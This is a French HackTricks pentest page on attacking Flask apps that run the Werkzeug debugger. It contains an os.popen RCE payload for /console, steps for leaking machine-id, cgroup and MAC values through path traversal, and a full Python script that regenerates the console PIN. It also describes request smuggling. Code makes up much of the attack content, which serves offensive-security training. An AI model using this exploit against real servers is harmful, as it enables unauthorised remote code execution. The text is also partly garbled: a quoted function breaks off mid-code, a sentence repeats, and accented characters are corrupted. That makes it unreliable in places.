Werkzeug / Flask Debug
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Console RCE
Si le débogage est actif, vous pourriez essayer d'accéder à /console
et d'obtenir RCE.
__import__('os').popen('whoami').read();
Il existe Ă©galement plusieurs exploits sur Internet comme celui-ci ou un dans metasploit.
Protégé par un PIN - Traversée de chemin
Dans certaines occasions, le point de terminaison /console
sera protégé par un PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce PIN.
Exploit de PIN de la console Werkzeug
Forcez une page d'erreur de débogage dans l'application pour voir cela :
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accÚs à l'interface de débogage de Werkzeug, indiquant qu'un PIN est requis pour déverrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de génération de PIN dans le fichier d'initialisation de débogage de Werkzeug (__init__.py
). Le mĂ©canisme de gĂ©nĂ©ration de PIN peut ĂȘtre Ă©tudiĂ© Ă partir du dĂ©pĂŽt de code source de Werkzeug, bien qu'il soit conseillĂ© d'obtenir le code serveur rĂ©el via une vulnĂ©rabilitĂ© de traversĂ©e de fichier en raison de potentielles divergences de version.
Pour exploiter le PIN de la console, deux ensembles de variables, probably_public_bits
et private_bits
, sont nécessaires :
probably_public_bits
username
: Fait référence à l'utilisateur qui a initié la session Flask.modname
: Désigné typiquement commeflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Résout généralement à Flask.getattr(mod, '__file__', None)
: Représente le chemin complet versapp.py
dans le répertoire Flask (par exemple,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Siapp.py
n'est pas applicable, essayezapp.pyc
.
private_bits
-
uuid.getnode()
: RĂ©cupĂšre l'adresse MAC de la machine actuelle, avecstr(uuid.getnode())
la traduisant en format décimal. -
Pour déterminer l'adresse MAC du serveur, il faut identifier l'interface réseau active utilisée par l'application (par exemple,
ens3
). En cas d'incertitude, fuite/proc/net/arp
pour trouver l'ID de l'appareil, puis extraire l'adresse MAC de/sys/class/net/<device id>/address
. -
La conversion d'une adresse MAC hexadĂ©cimale en dĂ©cimal peut ĂȘtre effectuĂ©e comme montrĂ© ci-dessous :
# Exemple d'adresse MAC : 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: ConcatÚne les données de/etc/machine-id
ou/proc/sys/kernel/random/boot_id
avec la premiĂšre ligne de/proc/self/cgroup
aprĂšs le dernier slash (/
).
Code pour `get_machine_id()`
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
AprĂšs avoir rassemblĂ© toutes les donnĂ©es nĂ©cessaires, le script d'exploitation peut ĂȘtre exĂ©cutĂ© pour gĂ©nĂ©rer le PIN de la console Werkzeug :
AprĂšs avoir rassemblĂ© toutes les donnĂ©es nĂ©cessaires, le script d'exploitation peut ĂȘtre exĂ©cutĂ© pour gĂ©nĂ©rer le PIN de la console Werkzeug. Le script utilise les probably_public_bits
et private_bits
assemblés pour créer un hachage, qui subit ensuite un traitement supplémentaire pour produire le PIN final. Ci-dessous se trouve le code Python pour exécuter ce processus :
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels spécifiques (cookiesalt
et pinsalt
), et en formatant la sortie. Il est important de noter que les valeurs réelles pour probably_public_bits
et private_bits
doivent ĂȘtre obtenues avec prĂ©cision Ă partir du systĂšme cible pour garantir que le PIN gĂ©nĂ©rĂ© correspond Ă celui attendu par la console Werkzeug.
tip
Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de sha1.
CaractĂšres Unicode de Werkzeug
Comme observĂ© dans ce problĂšme, Werkzeug ne ferme pas une requĂȘte avec des caractĂšres Unicode dans les en-tĂȘtes. Et comme expliquĂ© dans ce rapport, cela pourrait causer une vulnĂ©rabilitĂ© de CL.0 Request Smuggling.
C'est parce qu'il est possible d'envoyer certains caractĂšres Unicode dans Werkzeug et cela fera casser le serveur. Cependant, si la connexion HTTP a Ă©tĂ© crĂ©Ă©e avec l'en-tĂȘte Connection: keep-alive
, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la prochaine requĂȘte HTTP.
Exploitation Automatisée
Références
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.